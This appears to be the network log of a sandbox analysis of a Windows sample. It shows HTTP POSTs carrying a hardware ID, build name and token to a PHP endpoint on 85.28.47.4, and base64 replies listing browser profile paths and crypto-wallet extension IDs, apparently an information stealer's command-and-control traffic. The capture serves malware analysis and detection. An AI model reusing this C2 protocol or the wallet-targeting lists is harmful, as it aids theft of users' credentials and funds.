Jul 2, 2024 12:24:55.051668882 CEST	55462	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:55.052057028 CEST	55463	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:55.056907892 CEST	80	55463	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:55.056972980 CEST	55463	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:55.057045937 CEST	80	55462	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:55.057090044 CEST	55462	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:55.064944029 CEST	55463	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:55.070473909 CEST	80	55463	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:55.766735077 CEST	80	55463	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:55.766796112 CEST	55463	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:55.882282019 CEST	55463	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:55.882761002 CEST	55464	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:55.887631893 CEST	80	55464	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:55.887717962 CEST	55464	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:55.887880087 CEST	55464	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:55.887903929 CEST	80	55463	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:55.887959003 CEST	55463	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:55.892656088 CEST	80	55464	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:56.604136944 CEST	80	55464	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:56.604279041 CEST	55464	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:56.607863903 CEST	55465	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:56.607867002 CEST	55464	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:56.612670898 CEST	80	55465	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:56.616920948 CEST	55465	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:56.619856119 CEST	55465	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:56.622662067 CEST	80	55464	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:56.622930050 CEST	55464	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:56.624656916 CEST	80	55465	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:57.337625980 CEST	80	55465	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:57.337697029 CEST	55465	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:57.457465887 CEST	55465	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:57.457771063 CEST	55466	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:57.462569952 CEST	80	55466	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:57.462608099 CEST	80	55465	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:57.462642908 CEST	55466	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:57.462672949 CEST	55465	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:57.462955952 CEST	55466	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:57.467772007 CEST	80	55466	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:58.151864052 CEST	80	55466	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:58.152909994 CEST	55466	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:58.156810045 CEST	55466	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:58.157219887 CEST	55467	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:58.162098885 CEST	80	55467	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:58.162108898 CEST	80	55466	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:58.162249088 CEST	55467	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:58.162242889 CEST	55466	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:58.162595034 CEST	55467	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:58.167792082 CEST	80	55467	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:58.886390924 CEST	80	55467	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:58.886492968 CEST	55467	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:58.991115093 CEST	55467	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:58.991743088 CEST	55468	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:58.996396065 CEST	80	55467	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:58.996459007 CEST	55467	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:58.996540070 CEST	80	55468	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:58.996603966 CEST	55468	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:58.997145891 CEST	55468	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:59.001945972 CEST	80	55468	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:59.704058886 CEST	80	55468	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:59.704128981 CEST	55468	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:59.707056046 CEST	55468	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:59.707417011 CEST	55469	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:59.712219954 CEST	80	55469	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:59.712282896 CEST	55469	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:59.712441921 CEST	80	55468	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:59.712498903 CEST	55468	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:59.712589025 CEST	55469	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:59.717787981 CEST	80	55469	77.91.77.82	192.168.2.7
Jul 2, 2024 12:25:00.439800978 CEST	80	55469	77.91.77.82	192.168.2.7
Jul 2, 2024 12:25:00.440048933 CEST	55469	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:25:00.554934978 CEST	55469	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:25:00.554934978 CEST	55470	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:25:00.559807062 CEST	80	55470	77.91.77.82	192.168.2.7
Jul 2, 2024 12:25:00.559967041 CEST	55470	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:25:00.560154915 CEST	80	55469	77.91.77.82	192.168.2.7
Jul 2, 2024 12:25:00.560199976 CEST	55469	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:25:00.560313940 CEST	55470	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:25:00.565093040 CEST	80	55470	77.91.77.82	192.168.2.7
Jul 2, 2024 12:25:01.260559082 CEST	80	55470	77.91.77.82	192.168.2.7
Jul 2, 2024 12:25:01.260623932 CEST	55470	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:25:01.264935017 CEST	55470	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:25:01.265326023 CEST	55471	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:25:01.272156000 CEST	80	55471	77.91.77.82	192.168.2.7
Jul 2, 2024 12:25:01.272219896 CEST	55471	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:25:01.272572041 CEST	55471	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:25:01.272598028 CEST	80	55470	77.91.77.82	192.168.2.7
Jul 2, 2024 12:25:01.272654057 CEST	55470	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:25:01.281034946 CEST	80	55471	77.91.77.82	192.168.2.7
Jul 2, 2024 12:25:01.976695061 CEST	80	55471	77.91.77.82	192.168.2.7
Jul 2, 2024 12:25:01.977343082 CEST	55471	80	192.168.2.7	77.91.77.82

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 12:21:16.558320999 CEST	53	49347	1.1.1.1	192.168.2.7

HTTP Request Dependency Graph

85.28.47.4

77.91.77.81

77.91.77.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	85.28.47.4	80	3752	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:20:55.506726980 CEST	407	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIE Host: 85.28.47.4 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 36 36 34 38 42 45 41 34 44 39 32 34 33 30 38 33 38 35 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 2d 2d 0d 0a Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="hwid"396648BEA4D9243083857------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="build"jony------BAKKEGCAAECAAAKFBGIE--
Jul 2, 2024 12:20:56.150448084 CEST	384	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:20:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 44 45 32 5a 44 67 77 5a 57 45 78 4f 54 64 69 59 54 67 78 4d 7a 4d 32 59 7a 56 68 4d 44 41 79 4d 57 4e 6c 59 32 56 6c 4e 6a 6c 6d 5a 6d 59 79 4d 54 49 77 59 32 51 30 4e 54 4e 6a 4d 7a 5a 6c 5a 57 4d 30 4e 57 56 6c 4d 7a 6c 69 4f 54 59 31 4e 7a 49 35 4e 7a 49 78 4e 54 5a 6d 4d 44 51 30 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: MDE2ZDgwZWExOTdiYTgxMzM2YzVhMDAyMWNlY2VlNjlmZmYyMTIwY2Q0NTNjMzZlZWM0NWVlMzliOTY1NzI5NzIxNTZmMDQ0fGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
Jul 2, 2024 12:20:56.229201078 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKJKFCBKKJDGDHIDBGI Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 2d 2d 0d 0a Data Ascii: ------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="message"browsers------KJKJKFCBKKJDGDHIDBGI--
Jul 2, 2024 12:20:56.407556057 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:20:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 2, 2024 12:20:56.407591105 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 2, 2024 12:20:56.409542084 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHIJKJKFIDHJKFBGHC Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------ECFHIJKJKFIDHJKFBGHCContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------ECFHIJKJKFIDHJKFBGHCContent-Disposition: form-data; name="message"plugins------ECFHIJKJKFIDHJKFBGHC--
Jul 2, 2024 12:20:56.592520952 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:20:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 2, 2024 12:20:56.592540026 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 2, 2024 12:20:56.592550993 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 2, 2024 12:20:56.592561960 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 2, 2024 12:20:56.592674017 CEST	700	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Jul 2, 2024 12:20:56.594327927 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEB Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 2d 2d 0d 0a Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="message"fplugins------AAEHIDAKECFIEBGDHJEB--
